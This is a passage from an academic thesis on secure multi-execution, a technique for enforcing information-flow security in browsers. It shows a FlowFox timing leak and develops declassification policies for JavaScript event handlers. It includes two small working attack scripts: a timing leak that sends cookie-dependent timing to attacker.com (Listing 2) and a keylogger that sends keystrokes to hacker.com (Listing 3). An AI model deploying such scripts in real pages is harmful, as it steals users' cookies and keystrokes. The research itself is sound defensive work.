foundations of security for interactive programs. This earlier work presents a
general framework for environments as strategies, lifts the assumptions of the total
environment, and distinguishes between the security level of message presence
and content in the general setting. While the previous work provides an excellent
starting point for the present paper, it does not treat secure multi-execution.

Unno et al. [145] focus on the problem of finding counterexamples against
noninterference: pairs of input states that agree on the public parts and lead
to paths that disagree on public outputs. Their technique combines type-based
analysis and model checking to explore execution paths for programs that may
cause insecure information flow. They show that this method is more efficient
than model checking alone. In comparison, our attack-detection technique does
not require program analysis and allows reasoning about the security of individual
runs.

In an independent effort, Zanarini et al. [157] apply secure multi-execution
for program monitoring in a reactive setting modeled by interaction trees. This
work relates to our attack detection results, although it focuses on a more relaxed,
progress-insensitive, security condition. Given a program, the goal is to construct
a scheduler for secure multi-execution that mimics the execution of the original
program. Whenever a deviation is detected, the execution is blocked to avoid
leakage. This approach enforces progress-insensitive noninterference.
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5.8 Conclusion
Secure multi-execution emerges as a promising technique for enforcing secure
information flow. We have overviewed the pros and cons of secure multi-
executions and identified most pressing challenges with it. This paper pushes the
boundary of what can be achieved with secure multi-execution. First, we lift the
assumption from the original secure multi-execution work on the totality of the
input environment (that there is always assumed to be input) and on cooperative
scheduling. Second, we generalize secure multi-execution to distinguish between
security levels of presence and content of messages. Third, we introduce a
declassification model for secure multi-execution that allows expressing what
information can be released. Fourth, we establish a full transparency result by
barrier synchronization of the runs at different security levels. Full transparency
guarantees that secure multi-execution preserves the original order of messages
in secure programs. We demonstrate that full transparency is a key enabler for
discovering attacks with secure multi-execution.

Representing reactive systems in our setting is an interesting topic of future
work. In a reactive setting, an incoming input event determines which handler
may be triggered. We can model this by tagging input values with a channel id.
The program can then pattern-match on the tag to dispatch the value to the handler
associated with the channel.

Although our formal results on declassification focus on what information is
released, the mechanism also supports where information is released. Indeed, our
declassification mechanism restricts release to program points with declassifica-
tion annotations. Therefore, we expect the mechanism to enforce a variant of
intransitive noninterference [126]. An investigation of formal guarantees for the
where dimension of declassification is a worthwhile topic for future work.

Future work also includes implementation and case studies. We plan to
experiment with modifying the Firefox browser to accommodate fine-grained,
declassification-aware, and transparent secure multi-execution. The modification
will allow us to multi-execute JavaScript code in an environment with preemptive
scheduling of the runs at different levels.
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5.8.1 FlowFox leak

The leak exploits the fact that FlowFox [50] multi-executes JavaScript with the
low-priority scheduler on a per-event basis. Low priority implies that the low
run is executed first and without preemption by the high run. The low-priority
scheduler first applies to the main code. If the main code sets event handlers,
they are processed after the multi-execution of the main code. Low handlers are
multi-executed. High handlers are only run once, at the high level.

Note that the problem with low-priority scheduling is fundamental because it
is not possible to extend the low-priority discipline over multiple events—simply
because it is not possible to run the low handlers that have not yet been triggered.

The security theorem in the abstract setting of secure multi-execution [54]
takes advantage of the low-priority scheduler and establishes timing-sensitive
security. This is intuitive because the last access of the low data occurs before any
high data is accessed. This implies that whenever the timing behavior is affected
by secrets, there is no possibility for the attacker to inspect the difference.

We show that the situation is different in the presence of handlers. All we need
to do is to set a low handler to execute after the high run for the main code has
finished. Then the low handler can inspect the computation time taken by the high
run. For a simple experiment, we consider the default example policy from the
FlowFox distribution6 in Listing 1.

Listing 1: FlowFox policy
1 /** Example policy file for FlowFox.
2
3 Detailed project information and contact address can be

found on:
4 https://www.distrinet.cs.kuleuven.be/software/FlowFox/
5
6 HOWTO: modify the policy rules at the end this file
7 **/
8
9 ... non-customizable part of the policy skipped...
10
11 /**********************************************/
12 /*********************** E D I T M E *******/
13 /**********************************************/
14
15 /* Example label conditional function */
16 var cross_origin = function ([url]) { return (url.indexOf("same-

origin") == -1); };
17
18 /* Examples */

6https://distrinet.cs.kuleuven.be/software/FlowFox/
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19 SME.Label("nsIDOMHTMLDocument_GetCookie").as(SME.Labels.HIGH).
default("eat=this");

20 SME.Label("nsIDOMHTMLImageElement_SetSrc").if(cross_origin).as(
SME.Labels.LOW).else(SME.Labels.HIGH);

21 SME.Label("nsIDOMHTMLScriptElement_SetSrc").as(SME.Labels.LOW).
if(cross_origin).else(SME.Labels.HIGH);

The listing omits the non-customizable part of the policy, focusing on the sources
and sinks. This policy defines same-origin domain as HIGH and cross-origin
domains as LOW (line 16). In order to protect cookies, secret source are defined by
labeling document.cookie as HIGH (line 19). Lines 20 and 21 define the sinks that
correspond to setting the source attributes of image and script HTML elements.
These are labeled as HIGH for the same origin and LOW for the other origins. The
intention is to prevent attacks that leak information about the cookie to third-party
web sites (any sites other than the site of the web page origin).

Nevertheless, the code in the web page in Listing 2 leaks one bit of information
about the cookie to the third-party web site attacker.com.

Listing 2: One–bit timing leak
1 <html>
2 <script>
3 var c = new Date();
4 var m = c.getTime();
5 setTimeout(function() {leak();},1);
6 document.cookie="1";
7 //document.cookie="0";
8 var h=parseInt(document.cookie,10);
9 if (h > 0) {
10 var t = 0; while( t < 10000000) {t++;}
11 }
12
13 function leak() {
14 var d = new Date();
15 var n = d.getTime();
16 var x = n-m;
17 var s = new Image();
18 s.src = "http://attacker.com?v=" + encodeURIComponent(x);
19 }
20 </script>
21 <head></head>
22 <body>One-bit timing leak</body>
23 </html>

Function getTime() of the Date object returns the number of milliseconds since
the midnight of January 1, 1970. First, information about the cookie flows via
document.cookie into variable h (line 8). Depending on the value of h, the
program might take longer time to execute (line 10). As foreshadowed below,
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all we need to do is to get a time stamp at the beginning of execution (line 4)
and after the high run has finished. The difference in time reveals whether h

was zero. In order to bypass FlowFox’s multi-execution, we simply create a low
handler (line 5) to perform the final time measurement (line 15). Running this
page in FlowFox results in a request for an image with URL http://attacker

.com?v=496 (repetitive runs show slight fluctuation around the value of 496).
Running the code with line 7 uncommented and line 6 commented out, results
in a request for an image with URL http://attacker.com?v=6 (repetitive runs
fluctuate insignificantly around the value of 6). Hence, we can reliably leak one bit
of secret information about the cookies. Clearly, the leak can be easily magnified
to leak the entire cookie by walking through it bit-by-bit in a simple loop and
sending the results for each bit to the attacker.

Note that changing the policy for getTime() to return HIGH result does not
close the timing leak. The leak can be still achieved exploiting the difference in
the internal timing behavior by a combination of low handlers [128].

While the leak outlined above is achieved by issuing a timeout event, other
events (such as user-generated events and XMLHttpRequest) can be used to
achieve the same effect.

The low-priority scheduler is both at the heart of the soundness results by De-
vriese and Piessens [54] and at the heart of FlowFox [50]. The experiment points
to a fundamental problem with low-priority scheduling. The leak demonstrates
that the low-priority scheduler breaks timing-sensitive security and motivates the
need for (fair) interleaving of the runs at different levels, as pursued in this paper.
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6 Stateful Declassification Policies for Web Scripts

6.1 Introduction
Browsers commonly run untrusted JavaScript code. Such scripts can handle user
interface events (e.g. a key press or mouse click) and network events (e.g. the
arrival of an HTTP response). By handling these events, scripts can interact with
the user and one or more services on the network. Since scripts have (and need)
access to both user information and to remote HTTP servers (even multiple such
servers in the common case of web mashups), scripts are commonly used to leak
user private information to untrusted network servers [77].

Listing 3 shows an example of a script that implements a simple key logger in
JavaScript. It installs an event handler for key press events which leaks every key
pressed to hacker.com by encoding the character code of the key in the image
URL and asking the browser to fetch that URL.

Researchers [73, 50, 81] have realized that mechanisms for information flow
security are a promising countermeasure for such curious or malicious scripts,
as information flow security mechanisms can allow the script to have access
to private information but at the same time can prevent it from leaking that
information to untrusted network servers. As a consequence, impressive progress
has been made in dynamic mechanisms for information flow security in JavaScript
[13, 73, 50, 81]. However, this strict information flow control does break some
functionality that is important for the web today. Consider the following simple
variant of web analytics: an online news reader that wants to analyse which
keyboard shortcuts are commonly used. It is common practice on the web to
include third party analytics scripts to gather such information [111]. For this
use case, there is no need to leak in what order keys were pressed nor how many
times a particular key was pressed, only whether a certain key was pressed at
least once during the interaction with the web application. Releasing such limited
information poses negligible security risks, and can be considered acceptable and
even useful in many situations. Listing 4 shows the implementation of a script
that sends this minimal amount of information to analytic.com. This is a
simple example of a very broad set of practices on the web today, where third
party web analytics companies monitor application usage, and gather statistics
(such as mouse heat maps or the geographical spread of users).

Existing information flow secure browsers such as FlowFox [50] do not
distinguish between the malicious key logger script from Listing 3 and the useful
benign script from Listing 4: both scripts leak private information (key presses)
to network servers. What is needed to support scenarios such as web analytics is
some form of declassification: a declassification policy should specify what kind
of aggregate or derived information is safe to release to low observers.
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Listing 3: Keylogger
1 var u = ’http://hacker.com/?=’;
2 window.onkeypress = function(e)
3 {
4 var leak = e.charCode;
5 new Image().src = u + leak;
6 }

Listing 4: Shortkey usage
1 var d = 0, u = ’http://analytic.com/?=’;
2 window.onkeypress = function(e) {
3 if (e.charCode == 101) d = 1;
4 }
5 window.onunload = function() {
6 $.ajax(u + d);
7 }

This paper proposes a specific type of stateful declassification policies for
JavaScript programs, and develops an enforcement mechanism for these policies
on top of the existing secure multi-execution (SME) mechanism [54, 24]. The
main contributions of this paper are:

• We propose a notion of declassification policy for reactive programs that
can handle web analytics style declassifications (Section 2 & 3).

• We extend SME to take into account such declassification policies, develop
a formal model of the essence of our approach, and prove its security and
precision (Section 4). The formal model has been mechanized in Redex
[86] and is available for download [1].

• We implement the mechanism as an extension to FlowFox [50], and
discuss its evaluation for performance and usefulness (Section 5). Our
implementation is also available for download [1].

6.2 Problem Description
We want to support information flow policies with declassification for JavaScript
programs. Declassification should be expressive enough to support for instance
the following use cases:

Declassification of aggregate or statistical information. The example in List-
ing 4 in the Introduction provides a prototypical example: we want to be
able to set policies that make this program secure, but still forbid key log-
gers such as the one in Listing 3.

Declassification of approximate information. A prototypical example is geolo-
cation information: scripts may need access to precise GPS coordinates of
a mobile browser, for instance to graphically pinpoint one’s location on a
map. Leaking precise coordinates is a violation of user privacy, but leaking
approximate coordinates still allows a script to download the correct map.
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Listing 5: Monitoring whether a shortkey has been pressed
1 on KeyPress(x) { if x = 101 then d = 1 } else { skip } }
2 on Unload(x) { Send(d) }

Also, even with approximate location information, web analytics services
can still compute geographical spread of users.

We first introduce a simple formal model language, then we define information
flow policies, and illustrate the informal requirements for declassification.

6.2.1 Model Language

Our formal language models the essence of a reactive programming language [28].
The syntax of our model language is defined in Figure 23a. The language supports
five types of events (load, mouse click, key press, GPS update and unload), and
two output channels (Send(n) outputs the integer n to the network, and Display(n)
outputs n to the user). A program p consists of a list of handler declarations h,
where each handler declaration defines a command that is to be run on occurrence
of a specific event type. Events carry a single integer value and the handler
command can refer to that value by means of the formal parameter x in the handler
declaration. All handlers share a single memory that maps global variables r to
integers. Commands c and expressions e are completely standard.

Listing 5 shows the example of shortcut key monitoring (Listing 4) in our
model language. The semantics of the model language is straightforward. A
program configuration (p, µ, c, I, O) consists of a program p, a store µ, the
currently executing command c , the list I of input events that still need to be
processed, and the list O of observable outputs that the program has produced so
far. We use the following judgments:

• µ ` e ⇓ n says that the expression e evaluates in memory µ to the integer
n. A memory µ is a mapping from global variable names to integers. The
definition of this judgment is completely standard.

• (µ, c) o
_ (µ′, c′) says that command c running against memory µ can make

a step (with output o) with resulting memory µ′ and remaining command
c′. An output o can be either an observable output out(n) (for instance
Send(n)), or an unobservable, silent output (denoted ·). The semantic rules
for evaluating commands are given in Figure 23c.

• (p, µ, c, I, O) _ (p, µ′, c′, I ′, O′) is the small step reduction relation
for program configurations. It is defined in Figure 23b. The function
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lookup(p, i), for i an input event ev(n), looks up the handler for ev in the
program and instantiates it (by substituting n for x). If no handler for the
event is present, it returns skip. The operator ++ concatenates lists, filtering
out silent outputs (·).

ev ::= GpsUpdate | MouseClick
| KeyPress | Load | Unload

out ::= Send | Display
p ::= · | h; p
h ::= on ev(x) {c}
c ::= skip

| c; c
| r := e
| if e then {c1} else {c2}
| while e {c}
| out(e)

e ::= x | n | r | e� e
� ::= + | − | = | <

(a) Syntax

lookup(p, i) = c

(p, µ, skip, i :: I, O) _ (p, µ, c, I, O)
(1)

(µ, c) o
_ (µ′, c′)

(p, µ, c, I, O) _ (p, µ′, c′, I, O ++ [o])
(2)

(b) Small-step semantics of pro-
grams.

(µ, skip; c) ·
_ (µ, c)

(3)

(µ, c1) o
_ (µ′, c′1)

(µ, c1; c2) o
_ (µ, c′1; c2)

(4)

µ ` e ⇓ n
(µ, r := e) ·

_ (µ[r 7→ n], skip)
(5)

c = if e then {c1} else {c2} µ ` e ⇓ n n 6= 0
(µ, c) ·

_ (µ, c1)
(6)

c = if e then {c1} else {c2} µ ` e ⇓ 0
(µ, c) ·

_ (µ, c2)
(7)

c = while e {cloop} µ ` e ⇓ 0
(µ, c) ·

_ (µ, skip)
(8)

c = while e {cloop} µ ` e ⇓ n n 6= 0
(µ, c) ·

_ (µ, cloop; c)
(9)

µ ` e ⇓ n

(µ, out(e))
out(n)
_ (µ, skip)

(10)

(c) Small-step semantics of handlers.

Figure 23: Syntax and semantics of our model language.

The final state of a program is of the form (p, µ, skip, [], O) where the list
of remaining inputs is empty and the currently executing command is skip. It
is straightforward to prove that programs that are not in a final state can always
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make a deterministic step. Finally we define a notation to describe the result of a
terminating run of a program p on a given input list I .

Definition 28 (Program Execution). We write p(I) _∗ O iff there exists a
variable store µ such that (p, µ0, skip, I, []) _∗ (p, µ, skip, [], O) where _∗ is
the reflexive and transitive closure of _, and where µ0 is the store mapping all
variables to 0.

As an example, let p be the program from Listing 5 and let I = [KeyPress 101,
KeyPress 102, Unload 0], then p(I) _∗ O with output list O = [Send 1].

6.2.2 Noninterference

An information flow policy maps event types and output channels to labels chosen
from a lattice L of security levels. To keep definitions simple we specialize
all definitions in this paper to the case of a two-element lattice with H (high,
confidential) ordered above L (low, public). Hence, a policy is a function
σ : ev ∪ out → {L,H}. We extend this notation to also apply to events and
outputs. For instance if σ(KeyPress) = L, we also define σ(KeyPress(i)) = L,
and similarly for output channels out and corresponding outputs out(i).

Definition 29 (L-similarity). Two lists S and S ′ are L-similar, denoted by S ≈L
S ′, iff they are equal after filtering out all elements s having σ(s) = H .

Definition 30. A program p is noninterferent iff for all lists I, I ′, O,O′ such that
p(I) _∗ O and p(I ′) _∗ O′ it holds that I ≈L I ′ =⇒ O ≈L O′.

If we label KeyPress as H and Unload and Send as L, then the program p in
Listing 5 is not noninterferent, as:

p([KeyPress 101, KeyPress 102, Unload 0]) _∗ Send 1
p([KeyPress 103, KeyPress 102, Unload 0]) _∗ Send 0

and hence the program maps twoL-similar inputs to outputs that are not L-similar.
Obviously, the keylogger program from Listing 3 (when rendered in our model
language) would also be interferent.

6.2.3 Problem statement

The problem we address in this paper is to extend the definition of information
flow security for our reactive language with a suitable notion of declassification
so that it can separate programs like the key logger from programs like the
shortcut key monitor. Moreover, we want to define an enforcement mechanism
that enforces such policies, prove it secure and precise on our model language,
and implement and evaluate it for full JavaScript.
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6.3 Declassification policies
Given the nature of web scripts, we want a black-box, extensional definition
of declassification. Even though we will require programmers to annotate
their programs with declassify annotations in our enforcement mechanism later
on, these annotations are only there to achieve precision (i.e. to make good
programs pass the enforcement mechanism), they do not affect security; a
malicious programmer can not write malicious annotations in order to get a
bad program accepted by the enforcement mechanism. A declassification policy
in our approach is itself a reactive program. It follows the syntax of reactive
programs given earlier in Figure 23a, with two changes (1) the use of the while-
statement is forbidden: declassification policies should always terminate (2)
declassification policies can not do outputs. The intuition is the following: a
declassification policy P is a reactive program that will process all input events,
and it will determine what information about the input can be made available to
low observers. We still assume given a labelling σ of event types and output
channels. The policy P will process events as follows.

For high events, the policy can maintain state about the event, for instance to
collect aggregate information about all high events. In addition, it can specify
the declassification of information in two ways. First, it can specify that the
occurrence of an event can be declassified, i.e. that it is OK for low outputs to
depend on the occurrence of the event, but not on the value associated with the
event. Second, it can specify that specific values computed by the policy can be
declassified. Such declassifications are similar to escape hatches in delimited
release [133]. We think of them as declassification channels: the policy can
specify values that can be released to a declassification channel specifying that
it is OK for low observers to depend on these values. The policy can for instance
compute the average of the coordinates of mouse clicks over 100 clicks and
declassify that average. For simplicity, we use assignments to special global
variables to communicate declassified information: assigning a 1 to the global
variable O specifies that the occurrence of the currently processed event can
be declassified. For each declassification channel, the policy can assign to a
designated global variable associated with that channel to declassify a value. We
only consider a single declassification channel and use the global variable D, but
it would be trivial to support more channels. We assume that the names O and D
are never used outside of policy programs.

Listing 6 shows a policy that declassifies the occurrence of the first shortcut
key press (character code 101). Under this policy the shortcut key monitoring
program in Listing 5 is secure, but a key logger program is not. Listing 8 shows
a policy that declassifies the occurrence of all key presses (but not the character
codes of the keys that were pressed). Under this policy, a program that counts
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Listing 6: Policy revealing the first
shortcut key press

1 on KeyPress(x) {
2 if x = 101 and T = 0 then
3 { O = 1; T = 1 }
4 else { O = 0; }
5 }

Listing 7: Policy for the shortcut key
monitoring program

1 on KeyPress(x) {
2 if x = 101 then { O = 1 }
3 else { skip }
4 }

Listing 8: Policy for counting key
presses

1 on KeyPress(x) { O = 1 }

Listing 9: Policy projecting a GPS update
1 on GpsUpdate(x) { O = 1;
2 D = x (x mod 10)}

key presses and sends the total number on a low output channel would be secure.
Listing 7 shows an alternative approach for shortcut key monitoring. It uses the
declassified value to communicate whether the shortcut key has been pressed.
Note that in this policy, once D is set to 1, it always stays equal to 1.

Listing 9 shows a policy which both reveals the occurrence of a GPS update
and declassifies the rounded coordinates (in practice more advanced privacy
algorithms can be used), though precise coordinates remain secret. Using
this policy a program requesting the map of a region (identified by rounded
coordinates) in response to a GPS update is noninterferent. That is, a script can
display the precise location to the user (as this is a high output), but it can only
communicate the approximate, rounded coordinates to the service providing the
map.

We formalize the semantics of policies as follows. First, we define a semantics
for policy programs that, for a given list of inputs I computes a list of things
that will be declassified. The processing of a single event is defined exactly
as before for reactive programs. We write P(µ, i) = µ′ to say that processing
the event i by policy program P in the context of a store µ (the policy store)
results in an updated store µ′. Because policy programs are always terminating
and deterministic, this defines a function. We use that function in the definition of
how a policy determines a list of declassified values (Figure 24).

The first rule says that for a high event, the policy processes the event. If, in
the resulting memory,O 6= 1, then nothing is declassified. IfO = 1 (second rule),
then the event type is declassified, but not the event parameter. Also, the current
value of D is declassified. Finally, on occurrence of a low event, the current value
of D is declassified.

We will use the following notation:

Definition 31 (Declassification Policy Application). We define that P∗(µs, I) =
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P(µ, i) = µ′ σ(i) = H µ′(O) 6= 1
(P , µ, i :: I,D) _ (P , µ′, I,D) (1)

P(µ, ev(n)) = µ′ σ(ev) = H µ′(O) = 1
(P , µ, ev(n) :: I,D) _ (P , µ′, I,D ++ [ev, µ′(D)]) (2)

P(µ, i) = µ′ σ(i) = L

(P , µ, i :: I,D) _ (P , µ′, I,D ++ [µ′(D)]) (3)

Figure 24: List of declassified values D according to policy P .

D iff there is a variable store µ′ such that (P , µs, I, []) _∗ (P , µ′, [], D) where _∗

is the reflexive and transitive closure of _ as defined in Figure 24.

In case the initial variable store µ0 is used, we abbreviate P∗(µ0, I) to P∗(I).
In the above definition the result D is the list of declassified values. Because of
the termination and determinism of policies, P∗ is a function from finite lists to
finite lists. Again inspired by the notion of delimited release and escape hatches,
we refine the definition of non-interference as follows. First, we strengthen the
notion of L-similarity.

Definition 32 (L-similarity under P). Two lists S and S ′ are L-similar under P
iff S ≈L S ′ and P∗(S) = P∗(S ′). We denote this by S ≈PL S ′.
Definition 33 (Noninterference under P). A program p is noninterferent under
a declassification policy P iff for all lists I, I ′, O,O′ such that p(I) _∗ O and
p(I ′) _∗ O′ it holds that: I ≈PL I ′ =⇒ O ≈L O′.

It is an easy exercise to check that the shortcut monitoring program from List-
ing 4 is noninterferent under the policy in Listing 7. The following expected
relationships between noninterference (without declassification) and noninterfer-
ence under P hold: (1) noninterference is the same as noninterference under P
where P is the empty policy (2) noninterference implies noninterference under P
for any policy P .

6.4 Enforcing declassification policies
We now set out to design an enforcement mechanism. We extend the technique of
Secure Multi-Execution (SME) to handle the declassification policies. First, we
briefly recap how plain SME works on reactive programs [24]. Then we introduce
our extensions, and we prove security and precision.

6.4.1 Plain SME

SME [54, 33, 24] is a recent dynamic enforcement mechanism for information
flow security with practical advantages when applied in the context of JavaScript
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web applications [54, §VI.D].
The core idea of SME for reactive systems [24] is to maintain two executions

of the program: a low and a high execution. Low events are handled by both
executions, and high events are only handled by the high execution. Outputs
on low channels are only performed in the low execution and outputs on high
channels only in the high execution. This technique assures noninterference, and
if the program is noninterferent low and high outputs remain the same, though
outputs may happen in a different order depending on how both executions are
scheduled (but outputs at the same security level remain in the same order). For a
detailed overview of SME the reader is referred to [54, 24, 83].

The formalization of plain SME follows as a special case from the rules for
SME with declassification support, which we will specify below.

6.4.2 Adding Declassification Support

The core idea of our extension is to first run the declassification policy on each
input event. This determines what information can be passed to the low execution.
A low event will be given to the low execution and to the high execution. A high
event for which the policy store containsO = 1 will be given to the low execution
with a default event parameter (e.g. the integer 0): the low execution can see
the occurrence of the event, but not the information content of the event. It will
also be given (with the correct parameter) to the high execution. A high event for
which the policy store contains O 6= 1 will only be passed to the high execution.

It remains to determine how we will pass values declassified through D to
the low execution. We do this by extending the programming language with a
declassify operator. To the syntax in Figure 23a we add the following clause:

c ::= . . . | r := declassify e

The programmer has to use this operator to indicate where in the program
he has computed the value that the policy allows to be declassified. Our
enforcement mechanism will then evaluate declassify expressions by plugging in
the current value of D as computed in the policy. (Note that, to support multiple
declassification channels, the declassify statement would have to be indexed with
the channel that it is associated with, i.e. each variable D would have its own
declassify statement.)

We think of declassify as an annotation: it only has effect when the program
is run under SME. Otherwise it is an identity function: for the standard semantics,
_, the command r := declassify e is handled as r := e. The programmer writes
the annotation to indicate that the expression e evaluates (under the standard
semantics) to exactly the value that is declassified by the policy.
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Listing 10: Declassify in the shortkey usage program
1 on KeyPress(x) { if x = 101 then { d = 1 } else { skip } }
2 on Unload(x) { v = declassify d; Send(v) }

(µ, c) o
_ (µ′, c′) σ(o) = `

(µ, c) o⇒` (µ′, c′)
(1)

(µ, c) o
_ (µ′, c′) σ(o) 6= `

(µ, c) ·⇒` (µ′, c′)
(2)

Figure 25: Small-step semantics of the execution at level l.

As an example, consider again the program in Listing 5 under the policy of
Listing 7. If the program is run under SME, it will only output a 0 in response to
the Unload event, as the low execution never gets to see any of the key presses. In
order to benefit from the declassification policy, the developer should change his
program as shown in Listing 10.

Our enforcement mechanism will plug in the correct value, denoting whether
the shortcut key was used, during execution of the declassify statement in the
low execution. Note that security does not depend on how the program uses
declassify expressions: the low execution will only ever get to see values that were
declassified by the policy, so security will never be at stake. We will formally
prove that in the security theorem (Theorem 35). But correct placements of
declassify can help authors of good programs to get their programs to run correctly
under our enforcement mechanism. We show this formally in the precision
theorem (Theorem 39).

We now turn to the formalization of our enforcement mechanism. A program
configuration consists of the tuple (p, (P , µp), (EL, EH), I, O) where p is a
program, P a declassification policy with its own store µp, EL and EH the
execution states of the low and the high execution (each containing a store µ and
a command c), I the list of inputs that still must be processed, and finally O being
the list of outputs produced so far.

The small-step semantics of the execution at level ` (with ` either H or L) is
defined in Figure 25. Each of the two executions progresses with its own store
according to the standard semantics of commands defined in Figure 23c. Outputs
are suppressed (turned into unobservable outputs) unless they are of the same level
as the execution.

Since we extended the syntax of our language with a declassify command, we
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EL = (µL, skip) σ(i) = H P(µ, i) = µ′ µ′(O) 6= 1 cH = lookup(p, i) d = µ′(D)
(p, (P , µ), (EL, (µH , skip)), i :: I, O)⇒ (p, (P , µ′), (EL, (µH [D 7→ d], cH)), I, O)

(SME-1a)

P(µ, ev n) = µ′ µ′(O) = 1 cL = lookup(p, ev 0) cH = lookup(p, ev n)
σ(ev) = H d = µ′(D) E ′L = (µL[D 7→ d], cL) E ′H = (µH [D 7→ d], cH)

(p, (P , µ), ((µL, skip), (µH , skip)), (ev n) :: I, O)⇒ (p, (P , µ′), (E ′L, E ′H), I, O)
(SME-1b)

σ(i) = L P(µ, i) = µ′ c = lookup(p, i) d = µ′(D)
E ′L = (µL[D 7→ d], c) E ′H = (µH [D 7→ d], c)

(p, (P , µ), ((µL, skip), (µH , skip)), i :: I, O)⇒ (p, (P , µ′), (E ′L, E ′H), I, O)
(SME-1c)

L
o⇒L L

′

(p, (P , µ), (L,H), I, O)⇒ (p, (P , µ), (L′, H), I, O ++ [o]) (SME-2)

H
o⇒H H ′

(p, (P , µ), ((µL, skip), H), I, O)⇒ (p, (P , µ), ((µL, skip), H ′), I, O ++ [o])
(SME-3)

Figure 26: Global small-step semantics of SME with declassification.

also have to define how to execute this command:

d = µ(D)
(µ, r := declassify e) ·

_ (µ[r 7→ d], skip)

Declassification is performed by looking up the special variable D in the store.
The step relation for global program configurations will make sure that this
variable always maps to the most recent value assigned to D in the policy store.

The rules for this global step relation are shown in Figure 26. The first three
rules define how a new event must be handled. In all three cases, the policy will
handle the event, leading to a new policy store. Now, the three rules handle three
different cases:

• (Rule SME-1a) If the event is H and the policy does not set O to 1 (hence,
the occurrence of the event is not declassified), then it is handled by the high
execution only.
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• (Rule SME-1b) If the event is H but the policy sets O to 1 (the occurrence
of the event is declassified), then it is handled by the low execution with a
default event parameter of 0, and it is handled by the high execution with
the actual event parameter.

• (Rule SME-1c) If the event is low, it is handled in the same way by both
executions.

In all three cases, the value declassified by the policy in variable D in the policy
store is also given to all the executions that will process the event.

The last two rules then say that first the low execution runs until it has
processed the event completely, and then the high execution runs until it has
processed the event completely. We say that an SME program configuration
is final if it has the form (p, (P , µ), ((µL, skip), (µH , skip)), [], O). That is, the
remaining input list is empty and both the low and high executions are done.

Definition 34 (Program Execution under SME). We write p(I)⇒∗ O with respect
to a declassification policy P iff there exists a program configuration Sf such that
(p, (P , µ0), ((µ0, skip), (µ0, skip)), I, []) ⇒∗ Sf with Sf final. Here ⇒∗ is the
reflexive and transitive closure of⇒ as defined in Figure 26.

In most cases the declassification policy P is clear from the context, and will
not be explicitly mentioned when using the notation p(I)⇒∗ O.

6.4.3 Theoretical Properties

We will cover two central properties: security and precision. The security property
states that the execution of any program under SME with declassification policy P
is noninterferent under that policy. A proof of the following theorem is included
in Appendix A.

Theorem 35 (Security). Execution of any program p under SME with declassifi-
cation policy P is noninterferent under P .

The SME execution of a program can potentially change the behaviour of the
program. So it is important to show that the behaviour of good programs does not
change observably. As discussed in section 6.4.1, even plain SME can change the
behaviour of noninterferent programs in the sense that outputs can be reordered.
But within a given security level outputs remain in the same order.

Definition 36 (Observer Indistinguishable). Let ` ∈ {L,H} and let S and S ′ be
lists. We say S =` S

′ if the two lists are equal after dropping all elements having
σ(s) 6= `. We say two lists S and S ′ are observer indistinguishable, denoted by
S ≈obs S ′, iff S =L S

′ and S =H S ′.
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In many cases, maintaining order within security levels is sufficient. For
instance, in the case of web scripts, if outputs to the browser user are H and outputs
to the network are L, it is sufficient to maintain order per security level. For cases
where it is important that global order of outputs is maintained, one needs to
design a scheduler that will interleave the L and H executions in the correct way.
For this paper, we focus on the case where the scheduler is simple, and we only
maintain output order per security level.

Now we want to prove precision, the property that “good” programs produce
outputs when run with or without our enforcement mechanism, i.e. the mechanism
is transparent for good programs. In the ideal case, the mechanism enforcing a
specified declassification policy P would be transparent for any program that is
noninterferent under P . (If the program is not noninterferent under P , the security
theorem tells us that the behaviour will definitely change, as it will become
noninterferent.)

However, it is easy to see that this does not hold. If a program that is
noninterferent under P does not use declassify annotations, its behaviour can
change. For example, if the program calculates the declassified value without
using the declassify command, its behaviour will be modified under SME.
Additionally, if the value computed by the declassification policy differs from
the expression e in the declassify command, behaviour might be modified.
Say the policy P calculates (a + b)/2 while the program has the command
“declassify (a + b)/4”. In this case the program is noninterferent wrt. policy
P yet its behaviour is modified under SME. This mismatch can be caused because
the programmer expected the program to be run under a different declassification
policy.

To study the correct use of declassification commands, we consider two ways
of executing reactive programs in our model language. The standard semantics
treats declassify as an identity function. We use the notation p(I) _∗ O to say
that p on input I leads to output O under this semantics. The second semantics
treats declassify as a lookup of D in a policy store. During execution this policy
store is always kept up to date. We use the notation p(I) _∗

P O to say that p on
input I leads to output O under this semantics with policy P . The semantic rules
for both semantics are straightforward. We now formalize what it means to use
declassify correctly, and we prove that our enforcement mechanism is transparent
for secure programs that use declassify correctly. There are two aspects to the
correct use of declassify. First, the policy expected by the programmer should be
the same as the policy used during enforcement.

Definition 37 (Compatible declassification policy). A declassification policy
P is compatible with a program p and inputs I when for every reachable
declassification command (p, µ0, skip, I, []) _∗ (p, µ′, r := declassify e; c′, I ′, O)
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we have (P , µ0, skip, I, []) _∗ (P , µ′′, skip, I ′, D) with µ′ ` e ⇓ n and µ′′(D) =
n.

For low observers there are additional conditions. Consider for instance the
program in Listing 5 running under the policy in Listing 7. The program is
noninterferent under the policy, and the policy is compatible with the program
(vacuously, since there are no declassify statements). But for low observers there
will be a difference if the program is run with key presses of the shortcut key
as input. It will perform Send 1 if it is run without enforcement mechanism and
Send 0 if it is run under our enforcement mechanism. The problem is the lack
of declassify annotations: the programmer should explicitly annotate information
that he wants to declassify for our mechanism to be precise. The program in
Listing 10 adds the necessary declassify annotation so the program runs correctly
under SME.

The additional condition we need is that all declassifications happen under a
declassify command. In other words, there are no information leaks from H to L
outside of declassify commands. Intuitively, the program should be noninterferent
after removal of declassify expressions. But that in itself is not sufficient, as
removal of the declassify expressions may render some parts of the program
unreachable. As an example consider the program in Listing 11, where num
can be any number. If in some run the policy would declassify num the program
would be interferent because it leaks gps coordinates in the then-branch of the
conditional on line 4. Hence, we must also require the following condition:

Definition 38 (No leaks outside declassify). We say a program p does not leak
outside declassify commands, if the following holds: for all inputs I, I ′ and for all
declassification policies P and P ′, with p(I) _∗

P O and p(I ′) _∗
P ′ O

′ we have
that I ≈L I ′ and P∗(I) = P ′∗(I ′) =⇒ O ≈L O′

The intuition is that p can only depend on the values declassified by the
policy independently of what the policy is. If that is the case, then p can not
leak high information outside of declassify statements. In particular, we can
consider policies that just declassify constants. By picking a policy that returns
appropriate constants, we can make sure that all reachable parts of the program
are considered. For the example in Listing 11, where num can be any number,
a policy declassifying num would reveal that the program does leak outside
declassify.

With this definition precision for L observers can be proven. The Lemma and
accompanying proof is included in Appendix B. Now precision for both low and
high observers has been proven, we can conclude with our main result:

